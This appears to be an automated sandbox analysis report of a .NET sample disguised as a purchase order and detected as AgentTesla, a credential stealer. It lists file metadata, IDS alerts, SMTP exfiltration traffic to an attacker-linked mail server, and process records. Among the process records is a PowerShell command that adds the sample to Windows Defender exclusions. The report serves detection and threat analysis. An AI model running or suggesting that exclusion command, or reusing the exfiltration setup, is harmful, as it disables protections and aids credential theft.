Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqvapdi5.4ez.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3phy5qo.2xj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjxw10nb.fvq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.709321235727874
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	PURCHASE ORDER-6350-2024.exe
File size:	628'736 bytes
MD5:	e25b8037dca1fdb8e69cb26bd1cb4f17
SHA1:	5a05ef1979ba60a139cb987e7ab3abf1115acba8
SHA256:	42db38678ebdd31dbcab40014ff3b96a8b263f77e8484901226defbdfbb8eba6
SHA512:	24e783563daf3595dc341c080103976c1a9303f1e7a40418581e5abbb88ace04c341217c7d165e6f36fccd2800108efe454fb6a7acca127a1f8de8b0e2b7f4c1
SSDEEP:	12288:UnCgemEOtMBeSoLZTglM5L/O9PVRcVyZIPaCby:qlEj2LZd0tSVjby
TLSH:	72D40168165AE603C9A6A7B41A71F5B417780EEEB042D31B9FDC6DEBB967F104C081C3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....,...............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x49acc2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC32C0DAC [Thu Oct 5 15:50:04 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9ac6e	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9c000	0x5cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x98600	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x98cc8	0x98e00	f85ffb37abcf8fb7ac1b11ccdd15a555	False	0.9007004420482421	data	7.717897542519251	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x9c000	0x5cc	0x600	313b5ba415a44557748a2eb5071f1305	False	0.4290364583333333	data	4.138499463618535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9e000	0xc	0x200	e2ff20f852323764479f73844ab847fc	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x9c090	0x33c	data			0.42995169082125606
RT_MANIFEST	0x9c3dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T13:52:51.176172+0200	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.5	49707	199.79.62.115	587	TCP
2024-10-08T13:52:51.176172+0200	2839723	ETPRO MALWARE Win32/Agent Tesla SMTP Activity	1	192.168.2.5	49707	199.79.62.115	587	TCP
2024-10-08T13:52:51.176172+0200	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.5	49707	199.79.62.115	587	TCP
2024-10-08T13:53:00.382718+0200	2855245	ETPRO MALWARE Agent Tesla Exfil via SMTP	1	192.168.2.5	49707	199.79.62.115	587	TCP
2024-10-08T13:53:00.382718+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49707	199.79.62.115	587	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 13:52:58.592159033 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:58.597326040 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:58.597412109 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:59.278101921 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.279000044 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:59.284130096 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.436537981 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.447594881 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:59.452935934 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.604739904 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.609920025 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:59.614926100 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.891848087 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:52:59.892194986 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:52:59.897082090 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.047945976 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.048176050 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.053730965 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.225706100 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.225895882 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.230835915 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.382008076 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.382658005 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.382718086 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.382740021 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.382761002 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:53:00.387487888 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.387502909 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.387727022 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.387742043 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.643548012 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:53:00.691499949 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:54:38.128278971 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:54:38.133673906 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:54:38.485599041 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:54:38.485651016 CEST	587	49707	199.79.62.115	192.168.2.5
Oct 8, 2024 13:54:38.485728025 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:54:38.485817909 CEST	49707	587	192.168.2.5	199.79.62.115
Oct 8, 2024 13:54:38.491192102 CEST	587	49707	199.79.62.115	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 13:52:58.115422010 CEST	58378	53	192.168.2.5	1.1.1.1
Oct 8, 2024 13:52:58.543736935 CEST	53	58378	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 13:52:58.115422010 CEST	192.168.2.5	1.1.1.1	0x8ee9	Standard query (0)	mail.mbarieservicesltd.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 13:52:58.543736935 CEST	1.1.1.1	192.168.2.5	0x8ee9	No error (0)	mail.mbarieservicesltd.com		199.79.62.115	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 8, 2024 13:52:59.278101921 CEST	587	49707	199.79.62.115	192.168.2.5	220-md-54.webhostbox.net ESMTP Exim 4.96.2 #2 Tue, 08 Oct 2024 17:22:59 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 8, 2024 13:52:59.279000044 CEST	49707	587	192.168.2.5	199.79.62.115	EHLO 932923
Oct 8, 2024 13:52:59.436537981 CEST	587	49707	199.79.62.115	192.168.2.5	250-md-54.webhostbox.net Hello 932923 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 8, 2024 13:52:59.447594881 CEST	49707	587	192.168.2.5	199.79.62.115	AUTH login c2FsZXNzQG1iYXJpZXNlcnZpY2VzbHRkLmNvbQ==
Oct 8, 2024 13:52:59.604739904 CEST	587	49707	199.79.62.115	192.168.2.5	334 UGFzc3dvcmQ6
Oct 8, 2024 13:52:59.891848087 CEST	587	49707	199.79.62.115	192.168.2.5	235 Authentication succeeded
Oct 8, 2024 13:52:59.892194986 CEST	49707	587	192.168.2.5	199.79.62.115	MAIL FROM:<saless@mbarieservicesltd.com>
Oct 8, 2024 13:53:00.047945976 CEST	587	49707	199.79.62.115	192.168.2.5	250 OK
Oct 8, 2024 13:53:00.048176050 CEST	49707	587	192.168.2.5	199.79.62.115	RCPT TO:<iinfo@mbarieservicesltd.com>
Oct 8, 2024 13:53:00.225706100 CEST	587	49707	199.79.62.115	192.168.2.5	250 Accepted
Oct 8, 2024 13:53:00.225895882 CEST	49707	587	192.168.2.5	199.79.62.115	DATA
Oct 8, 2024 13:53:00.382008076 CEST	587	49707	199.79.62.115	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 8, 2024 13:53:00.382761002 CEST	49707	587	192.168.2.5	199.79.62.115	.
Oct 8, 2024 13:53:00.643548012 CEST	587	49707	199.79.62.115	192.168.2.5	250 OK id=1sy8lw-000v2V-0y
Oct 8, 2024 13:54:38.128278971 CEST	49707	587	192.168.2.5	199.79.62.115	QUIT
Oct 8, 2024 13:54:38.485599041 CEST	587	49707	199.79.62.115	192.168.2.5	221 md-54.webhostbox.net closing connection

Target ID:	0
Start time:	07:52:53
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Imagebase:	0x680000
File size:	628'736 bytes
MD5 hash:	E25B8037DCA1FDB8E69CB26BD1CB4F17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:52:55
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Imagebase:	0x920000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:52:55
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:52:55
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Imagebase:	0x100000
File size:	628'736 bytes
MD5 hash:	E25B8037DCA1FDB8E69CB26BD1CB4F17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:52:55
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Imagebase:	0xa00000
File size:	628'736 bytes
MD5 hash:	E25B8037DCA1FDB8E69CB26BD1CB4F17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000002.3264163729.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	117
Total number of Limit Nodes:	9

Executed Functions

Function 06DDD3D4 Relevance: .9, Instructions: 931COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9faed6eb7ed7abb3590b7d875d7e42c7fdb4e8d478b6b3c2f5ee962c3396edaa
Instruction ID: a81a02128a5f119603dd747b9552596eb821ada55383faf2871bb6b413f35c7e
Opcode Fuzzy Hash: 9faed6eb7ed7abb3590b7d875d7e42c7fdb4e8d478b6b3c2f5ee962c3396edaa
Instruction Fuzzy Hash: A7A22C31E006598FDB25DF68C8546EDB7B2FF89300F1486A9D80AA7351EB74AE85CF50

Function 06DD1340 Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebb98c8d01cb644ec6dcc4de64a23a3c66ab7d808541d44cc227c3a088bdb89
Instruction ID: e6378fb4c388f0c06e6c643143c37003779deca57b5f9000fd0c27433aa371cf
Opcode Fuzzy Hash: 4ebb98c8d01cb644ec6dcc4de64a23a3c66ab7d808541d44cc227c3a088bdb89
Instruction Fuzzy Hash: D942E234B01210CFDBA8AF78C85866977FAFF89305B2454AEE607DB368DA35D841DB40

Function 06DD3A50 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057685940.0000000006DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dd0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c08c117cf48825d2f58f2bdbf134b4e93cdf4b6a604d88cb67d6bb97a5985e
Instruction ID: f3415bc5b0a91fcb7b60e8c5551b95039ad8db6da6fd04379bb523b52ebc0c40
Opcode Fuzzy Hash: d7c08c117cf48825d2f58f2bdbf134b4e93cdf4b6a604d88cb67d6bb97a5985e
Instruction Fuzzy Hash: AB223A30E10219CFCB64EF68D984A9DBBB6FF85300F1585A9E409AB265DB30ED85CF51

Function 010ED550 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010ED5DE
GetCurrentThread.KERNEL32 ref: 010ED61B
GetCurrentProcess.KERNEL32 ref: 010ED658
GetCurrentThreadId.KERNEL32 ref: 010ED6B1

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: be135f16263416ca6295494a85b2ca66ce898b52f748ad3767083e35969b53ff
Instruction ID: 94644a8218c3d4299f5809dc5f9465121e0186fcf32448b2708a55a1dd34b8a4
Opcode Fuzzy Hash: be135f16263416ca6295494a85b2ca66ce898b52f748ad3767083e35969b53ff
Instruction Fuzzy Hash: 805166B09003098FDB14DFAAD548BAEBFF1EF49304F208499D419A7360D7795944CF65

Function 010ED560 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 010ED5DE
GetCurrentThread.KERNEL32 ref: 010ED61B
GetCurrentProcess.KERNEL32 ref: 010ED658
GetCurrentThreadId.KERNEL32 ref: 010ED6B1

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 908be721fbfdf4ad46ac031c6cd6701230267dcab6b3afefffd2897ea8a3d02b
Instruction ID: fcb450f211d27a5646c140a50ad89afac5bde57d64e1e1bbe90f88a7f1ea85b0
Opcode Fuzzy Hash: 908be721fbfdf4ad46ac031c6cd6701230267dcab6b3afefffd2897ea8a3d02b
Instruction Fuzzy Hash: D45155B09003098FEB14DFAAD548BAEBBF1FF89304F208459E019A73A0D7799944CF65

Function 06DC7C4F Relevance: 3.1, APIs: 2, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(0000003B), ref: 06DC7CAE
GetSystemMetrics.USER32(0000003C), ref: 06DC7CE8

Memory Dump Source

Source File: 00000000.00000002.2057650701.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 4cc58552fb9dc932af15c3b394bcd56bc65a30772115f8214cae37655c464e83
Instruction ID: a2515811ce2a8e057fd761ca5017eb541296a1ffebacd61315a995df3e9cff5b
Opcode Fuzzy Hash: 4cc58552fb9dc932af15c3b394bcd56bc65a30772115f8214cae37655c464e83
Instruction Fuzzy Hash: 0F31B4B09003498FDB10CFA9D9493EEBFF0EB09324F10845AD159AB251C3795585CFA1

Function 06E16140 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8aq, xrefs: 06E161D3
8aq, xrefs: 06E1619C

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: 8aq$8aq
API String ID: 0-1589283582
Opcode ID: 7fae6b2ee1373c0ff770c705372f0cf39485f0c8206b0d59fe518918ffe8a3a0
Instruction ID: b32180ca7c00f0740bae826dc4d135907332b567274831851cf3443565003524
Opcode Fuzzy Hash: 7fae6b2ee1373c0ff770c705372f0cf39485f0c8206b0d59fe518918ffe8a3a0
Instruction Fuzzy Hash: 78210230B503189FE7949F699814AAB77EBABC9345B204439D60ADB386DE30CD058792

Function 010EAEB8 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 010EB11E

Memory Dump Source

Source File: 00000000.00000002.2050801380.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10e0000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 06ae7c398d138d27c13eaac7fc776d5c4a67c02042757d54900f8606a18bdb9f
Instruction ID: ccc480e0b5ea41a4e53a3f7dbde09148d002e99e6382e7dc98074b42a2995744
Opcode Fuzzy Hash: 06ae7c398d138d27c13eaac7fc776d5c4a67c02042757d54900f8606a18bdb9f
Instruction Fuzzy Hash: 9E813570A00B458FDB65DF6AD44879ABBF1FF88300F00896DE49ADBA50D775E845CB90

Function 06E1F990 Relevance: 1.6, Strings: 1, Instructions: 369
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06E1FEA0

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: a8d1968082d24ce1d53eb2aa1bd3a82d420c238bfa2aecb6eb85ba2838d4c179
Instruction ID: 64f6c3cb56d9a9bf9d127463e64c94a8a1ab100d7a6e26c701e5f040dfead626
Opcode Fuzzy Hash: a8d1968082d24ce1d53eb2aa1bd3a82d420c238bfa2aecb6eb85ba2838d4c179
Instruction Fuzzy Hash: B8E18030A00309DFDB45EFA9D550AAEBBF6FF88300F108469D805AB369CB359D46DB95

Function 06DDA290 Relevance: 1.6, APIs: 1, Instructions: 107
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,01106428,?,?,?,?,?,?,06DDA0B0,00000000,00000000,?), ref: 06DDA25D

Memory Dump Source

